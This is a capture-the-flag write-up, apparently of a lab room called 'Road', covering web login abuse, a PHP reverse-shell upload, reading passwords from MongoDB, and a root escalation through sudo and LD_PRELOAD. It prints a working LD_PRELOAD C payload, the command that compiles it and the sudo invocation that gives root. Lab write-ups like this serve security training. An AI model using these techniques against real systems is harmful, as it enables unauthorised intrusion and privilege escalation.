---
description: >-
  Vertical PrivEsc to admin - PHP File upload - Lateral Move via MongoDB -
  LD_PRELOAD PrivEsc to Root
---

# Road

* Let's start by performing some active reconnaissance by running Nmap to scan for open ports

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FeWhe0SCpu813IBK2sr12%2Fimage.png?alt=media&#x26;token=dd976133-0ff0-4ed7-8799-706b4798a981" alt=""><figcaption></figcaption></figure>

* Enumerating the web application gives us options to either **Log In** or **Sign In**, since we dont have valid creds we can sign in as a test user and proceed to the dashboard interface

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FwPU0cbHQ305ySjoiIBuH%2Fimage.png?alt=media&#x26;token=676d6347-d8f9-4299-bc2c-93d4eab75abf" alt=""><figcaption></figcaption></figure>

* Once logged in as the user, we find that a user has a profile page and can upload a profile image :)

> However, only the admin has the access to that feature. That being said, we retrieve the admin email as **admin@sky.thm** which is written in cleartext on the page

\


<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FzL1UxE6W2g1yYAEX2YCF%2Fimage.png?alt=media&#x26;token=a923ac34-42ea-4143-8408-31fa57863df9" alt=""><figcaption></figcaption></figure>

* So how do we escalate our privileges as an admin, there are no JWT cookies :(
* Observe the **reset user page,** The **Username** field is greyed out and only the password fields are editable - Let's quickly intercept that request and change the test user to admin user with the same password and get admin access :)
* Now we sign in as **admin@sky.thm** and we can successfully upload a profile image.&#x20;
* Inspecting the source code of the profile page. We find a Url pathname has been commented out and it seems to be a reasonable location of where the uploaded profile images are stored

> /v2/profileimages/

* So now to trigger the reverse-shell, we can simply visit the&#x20;

```
http://10.10.113.161/v2/profileimages/php-reverse-shell.php
```

### Lateral Movement (www => webdeveloper)

* We find out there are **MongoDB** and **MySQL** users in the **/etc/passwd** file&#x20;
* Which indicates that **MongoDB** might be running

> we can get to know what all users are there on the system by running - getent passwd command

* We conclude that MongoDB is indeed running. And we can now spin up MongoDB by running `mongo` on the terminal\


<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Ft30wcuSulfSJaLc7bJgx%2Fimage.png?alt=media&#x26;token=bae90016-af29-423c-a7cd-c7f9d2a20ded" alt=""><figcaption></figcaption></figure>

* Enter `show dbs` to list the available databases. The backup database looks the most interesting

<figure><img src="https://miro.medium.com/max/218/1*TZenDgChg7jYf8ujBCDRmA.png" alt=""><figcaption></figcaption></figure>

* Enter `use backup` to access the backup database.

<figure><img src="https://miro.medium.com/max/243/1*tzbcLYYsgptntOmLb_IFJA.png" alt=""><figcaption></figcaption></figure>

* Enter `show collections;`to list the tables on the database. We find a table **user** which could be interesting

<figure><img src="https://miro.medium.com/max/231/1*fV2Xfw64sCGz89mNrvWgGw.png" alt=""><figcaption></figcaption></figure>

* Enter `db.user.find();` to read the contents of the table. Bam! we obtain passwords for the user **webdeveloper**

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FF3elqRKHKo5jldhDXFES%2Fimage.png?alt=media&#x26;token=6fe420cb-5280-4dc3-9027-8b8fccfec184" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

* Enumerating this user, we use the`sudo -l` command to list all commands the **webdeveloper** user can run using `sudo`

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FgyTKe7nK34WIhg9cnwMb%2Fimage.png?alt=media&#x26;token=9002fbea-b3d9-40e2-812e-a8c300f7265f" alt=""><figcaption></figcaption></figure>

* **LD\_PRELOAD** is a function that allows any program to use **shared libraries**(.so)
* It pre\_loads the **.so** files to the actual binary before even the program is executed during the run-time
* In Order to exploit this vulnerability, we'll have to write a C program and compile it as a shared library

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() 
{
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/bash");
}
```

* We can save this code as **shell.c** and compile it using gcc into a shared object file using the following parameters and transfer it our victim machine

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

* Now let's shoot our vulnerable binary as&#x20;

```
$ sudo LD_PRELOAD=/home/webdeveloper/shell.so sky_backup_utility
root@sky:/home/webdeveloper# whoami
root
```
